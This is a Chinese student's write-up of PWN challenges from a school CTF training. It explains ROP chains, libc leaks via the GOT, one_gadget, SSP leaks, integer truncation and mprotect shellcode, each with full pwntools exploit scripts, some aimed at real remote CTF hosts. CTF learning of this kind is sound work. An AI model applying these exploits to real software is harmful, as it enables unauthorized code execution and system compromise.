纪实:校内线上训练——PWN
近日,学校俱乐部举办了有关网安的比赛,不去不知道,真的是一句“我好菜”走天下……在此就是记录一下那些我做过的和没做上的题,其实看了一下别人的wp总是就差临门一脚,心情很糟 v_v
接下来会按照顺序呢会连续记录PWN、REVERSE、MISC、WEB、CRYPTO的……
0x01 签到1
这个题本来很简单,但是最初做的时候记忆混乱导致就感觉这题很怪……然而最后一想“签到题”应该莫得问题,所以就硬做:
整个程序就很简单,栈溢出用ida算距离之后溢出覆盖ebp,跳到rdi_addr,(用ROP搞到rdi地址)之后这里是为了后来的字符串比较做铺垫,在ida里找到“meow”地址,直接跳转过去即可,之后拿到getshell!
ROPgadget --only "pop|ret" --binary qiaodao
通过ROPgadget获取rdi_addr
通过ida算出需要覆盖的距离,并且找到“meow”所在地址即可!
下面上一发我的payload:
from pwn import * context(os='linux', arch='amd64', log_level='debug') io=remote() payload=b'a'*0x100+p64(0xdeadbeefdeadbeef)+p64(0x401263)+p64(0x402004)+p64(0x401156) #地址顺序: rdi_addr+meow_addr+sh_addr io.sendline(payload) io.interactive() io.close()
这样就获得了flag!
0x02 签到2
这道题我感觉是有一个跳跃的,跟1比……
ida反编译,发现没有后门程序,之后看了一下字符串也没有关键的字符串。sh函数又只有一个puts函数,再加上hint,就想到利用puts把地址输出出来。但是由于函数地址“随机”问题,所以就需要计算。这里用onegadget把execve低位地址搞到,在通过puts函数的低位地址和实际地址将中间差计算出来,就能搞到后门函数的实际地址啦!由于整个过程是需要两次输入才能完成,所以在搞到puts函数的信息后需要将整个程序重新跳回main函数,再次进行栈溢出问题。
one_gadget x64_libc.so.6
通过查询靶机的exceve基地址来作进一步的求实际后门地址,所以我们剩下还需要知道实际地址和基地址之间的差距,这里就需要要puts函数了,通过他将差值计算出来。之后就可以如鱼得水,获得后门函数了!
P.S:这里需要注意一下获得puts函数时要修改puts函数地址将其补全……
废话不多说,直接payload:
from pwn import * context(os='linux', arch='amd64', log_level='debug') io=remote() elf=ELF('./qiandao2') libc=ELF('./x64_libc.so.6') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] execve=0x45226 main_addr=0x40115f rdi_addr=0x401233 payload1=b'a'*0x108+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload1) puts_addr=u64(io.recv().ljust(8,b'\x00')) offset=puts_addr-libc.symbols['puts'] execve_addr=offset+execve payload2=b'a'*0x108+p64(execve_addr) io.sendline(payload2) io.interactive() io.close()
之后附上大佬的解析:
本题难度仍不大,某种意义上也是签到题,考察libc中函数地址的泄露。这道题溢出点和上一道类似,但是程序中没有system和exec系列的函数,因此需要获取libc地址来调用。
由于ASLR开启,每次程序启动libc会加载到随机的地址,但是libc中函数相对基址的偏移不会变,函数地址的低12位也不会变。
在函数完成第一次调用后,函数的真实地址保存在程序的GOT中,因此读取GOT中的函数真实地址,然后从给出的libc文件获取函数相对基址的偏移,从而计算libc加载的基址,进而接合函数偏移可以获得任意函数的真实地址。
libcbase = func1_real_addr - func1_offset
func2_real_addr = libcbase + func2_offset
其中func1_real_addr从GOT中泄露,而两个offset从下载的libc文件中获取。在获取到libc基址后,就可以在ROP链中使用libc中的函数和gadgets了。libc代码量很大,如果题目可执行文件中缺少某一功能的gadgets,可以考虑在libc中去寻找,此外libc中还有特殊的gadgets被称one_gadget,跳转到这些gadgets时,如果程序的状态能满足一定的约束条件时,可以只利用一个one_gedget,一次性的获取到shell。另外libc中也有 /bin/sh 的字符串可供使用。
0x03 let‘s overwrite (学习)
本题就是属于就差最后一步没有搞出来那种,但究根溯源还是对整个的原理没太弄懂,接下来就是学习记录了,也会附上本题payload作为记录:
首先通过checksec发现该程序是有canary的,之后在其他地方也并没有需要栈溢出覆盖ebp转出函数地址,并且由于canary可以通过栈销毁将所进行的函数地址打印出来,通过这一方式,将flag在栈中打印出来。
这道题是典型的SSP Leak,在检测到canary被覆盖后libc会输出一段文字,其中会输出程序自己的名称argv[0] ,如果把 argv[0] 覆盖成想要输出的地址,就可以通过这个机制泄露信息。采用较高版本的libc的系统在这种情况下不会输出 argv[0] ,所以在本地很可能无法复现SSP Leak。本题考虑泄露main函数本体的汇编,其中是包含了flag的信息的。
from pwn import * context(os='linux', arch='amd64', log_level='debug') io=remote() #这里比较粗暴直接将地址全面覆盖到argv[0] payload=p64(flag_addr)*0x110 print(payload) io.recv() io.sendline(payload) io.interactive() io.close()
P.S.:这里要注意的是一次栈泄露是不能拿到所有数据,具体原因不太明白,估计是因为\x00打印截断了所以需要两次泄露,这个就需要通过gdb不断调试找,或者通过ida在关键处直接找地址
0x04 homework
这道题通过ida反编译后,会直接联想到格式化问题。由于栈帧本来是int类型,但是后来又改成了long long类型,在这里就可以做一番手脚。并且在各种函数里只有大于0x100或者等于0的限制,所以很容易就可以想到小于0
这里贴一部分dalao的发言:
需要重点关注。其中p为int类型,而setpointer功能中,s为long long类型,且只检测了s不能小于0。因此如果将s设为0xffffffff,则s>0成立,而在s赋给p的过程中,s被截断为32位,则0xffffffff则对应了32位下的-1。这样就可以把p设置成负数了。
之后就是通过栈的向上寻址,找到getchar的实际地址之后,在与基地址相减得到差值,在进一步得到system的地址和“/bin/sh”字符串的地址,最后发送payload得到flag
上一发好看的payload:
from pwn import * # io = process("./homework") io = remote() libc = ELF("x64_libc.so.6") io.sendline("setpointer") io.sendline("ffffffff") for i in range(19): io.sendline("pop") addr = io.recv().decode() addr = int(addr, 16) libcbase = addr - libc.symbols["getchar"] binsh = libcbase + next(libc.search(b"/bin/sh")) system = libcbase + libc.symbols["system"] print('%#x %#x' % (libcbase, binsh)) io.sendline("pop") io.sendline("push") io.sendline("%x"%system) io.sendline("/bin/sh") io.interactive() io.close()
今天就先写到这里,余下的会陆续补出来……
---------------------------------补充-----------------------------------------
0x05 rot13
这道题看着挺迷的,调试一下,就会发现套路还是那么个套路。通过泄露libc基址来进行栈溢出。
这道题有个关键点是你用ROPgadget查“pop|ret” 是查不到的,但是正如提示里所说,可以用mov对寄存器的值进行调用修改。
0x0000000000400426: mov edi, dword ptr [rsp + 8]; mov rsi, qword ptr [rsp +0x10]; ret; 0x000000000040042b: mov esi, dword ptr [rsp + 0x10]; ret; 0x0000000000400425: mov rdi, qword ptr [rsp + 8]; mov rsi, qword ptr [rsp +0x10]; ret; 0x000000000040042a: mov rsi, qword ptr [rsp + 0x10]; ret;
又因为通过栈溢出的时候返回的恰好是write函数,所以我们可以在这里做手脚:
因为时write函数,rdi的值为1,即stdout,所以只能将值附到rsi上,所以这里我们就直接选用0x40042a。而在计算偏移量的过程我们可以选用_alarm函数,注意的是得到偏移量后要返回到栈溢出的函数处
直接上payload:
from pwn import * context.log_level = 'debug' rot13 = ELF("./rot13") libc_elf = ELF("./x64_libc.so.6") mov_rsi_ret = 0x40042a vul_func_addr = 0x400481 read_plt = rot13.plt["read"] write_plt = rot13.plt["write"] def leak(address): payload = b"A" * 0x40 + p64(0) + p64(mov_rsi_ret) + p64(write_plt) + p64(vul_func_addr) + p64(address) # rsp rsp+0x08 rsp + 0x10 plen = len(payload) sh.send(payload) sh.recv(plen) leakdata = sh.recv() addr = u64(leakdata[0:8]) print("leak addr %#x" % addr) return addr alarm_got = rot13.got["alarm"] alarm_addr = leak(alarm_got) libcbase = alarm_addr - libc_elf.symbols["alarm"] print("libcbase %#x" % libcbase) rsp +system_addr = libcbase + libc_elf.symbols["system"] binsh_addr = libcbase + next(libc_elf.search(b"/bin/sh")) rdi_addr = libcbase + 0x21112 one_gadget = libcbase + 0x45226 payload = b"A" * 0x40 + p64(0) + p64(one_gadget) # payload = b"A" * 0x40 + p64(0) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) sh.sendline(payload) sh.interactive()
0x06 rot13-hard
这道题我自己理解的不太好,所以直接上大佬的wp了(其实就是懒qwq)
由于本题限制,无法获取shell,只能一次性将payload构造完毕并发送,然后在唯一一次的输出机会中将flag输出出来,同时这也使得之前的泄露libc的方法不再可行,但是plt中既没有exec,也没有open,那么只能考虑利用shellcode来执行代码。
shellcode需要放到一个固定的可写的内存位置,IDA中看不到 .bss 和 .data ,不过仍然可以在gdb利用 vmmap 命令找到DATA段的位置位于0x601000-0x602000。因为开启了NX保护,所以需要调用mprotect系统调用来改变写入shellcode的内存页的属性。
题中alarm函数是系统调用,那么在libc中alarm的函数体内一定有syscall指令,在IDA中查看可以得到syscall指令位于alarm+5处(偏移0xCC285),因为ALSR时函数地址低12位不变,所以我们只要把got中的alarm地址的最低字节由 \x80 覆盖为 \x85 即可,此时调用alarm相当于调用syscall指令。 mprotect的系统调用号为10,在syscall时需要将rax的值置为10,而read系统调用的返回值为读取的字节数,储存在rax中,所以可以利用 read(0, addr, 10) 来同时达到覆盖got并控制rax的效果。
from pwn import * # context.log_level = 'debug' context.arch = "amd64" # sh = remote("47.94.252.112", 11000) sh = remote("everything411.top", 10099)# sh = remote("everything411.top", 10016) # sh = process("./rot13") rot13 = ELF("./rot13") read_plt = rot13.plt["read"] write_plt = rot13.plt["write"] alarm_plt = rot13.plt["alarm"] alarm_got = rot13.got["alarm"] data_addr = 0x601000 shellcode_addr = data_addr + 0x100 # 避开.plt.got mov_rdi_rsp0x8_rsi_rsp0x10_ret = 0x400425 mov_rsi_rsp0x10_ret = 0x40042A pop_rdx_rbp_ret = 0x40047e pop_rbp_ret = 0x40047f leave_ret = 0x4004b6 shellcode = asm(shellcraft.execve("/bin/cat", ("cat","flag"))) payload = b"A" * 0x40 + p64(0xdeadbeef) payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(0) + p64(shellcode_addr) # mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0; rsi = 0x601100; # pop_rdx_rbp_ret -> rdx = 0; rbp = 0x601100; 本条指令仅用于清栈,将rsp指向下一个gadget地址 payload += p64(pop_rdx_rbp_ret) + p64(len(shellcode)) + p64(0xdeadbeef) + p64(read_plt) # pop_rdx_rbp_ret -> rdx = len(shellcode); rbp = 0xdeadbeef; # read_plt -> read(rdi=0, rsi=0x601100, rdx=len(shellcode)) 读取shellcode到0x601100 payload += p64(mov_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(10) + p64(alarm_got - 9) + p64(read_plt) # mov_rsi_rsp0x10_ret -> rsi = alarm_got - 9; # pop_rdx_rbp_ret -> rdx = 10; rbp = alarm_got - 9; 控制rdx,并清栈 # read_plt -> read(rdi=0, rsi=alarm_got-9, rdx=10) 覆盖alarm_got最低字节,并控制rax=10 payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(data_addr) + p64(0x1000) # mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0x601000; rsi = 0x1000; # pop_rdx_rbp_ret -> rdx = 0x601000; rbp = 0x1000; 本条指令仅用于清栈,将rsp指向下一个gadget地址 payload += p64(pop_rdx_rbp_ret) + p64(7) + p64(0xdeadbeef) + p64(alarm_plt) + p64(shellcode_addr) # pop_rdx_rbp_ret -> rdx = 7(RWX); rbp = 0xdeadbeef; # alarm_plt -> syscall(rax=10, rdi=0x601000, rsi=0x1000, rdx=7) call mprotect # shellcode_addr -> 调用shellcode payload = payload.ljust(0x100) # payload调整为成0x100字节,ROP中的read将从第0x101字节开始读取 payload += shellcode # ROP第一个read,读取shellcode payload += b"A" * 9 + b"\x85" # ROP第二个read sh.send(payload) sh.recv(0x100) print(sh.recvall().decode()) sh.close()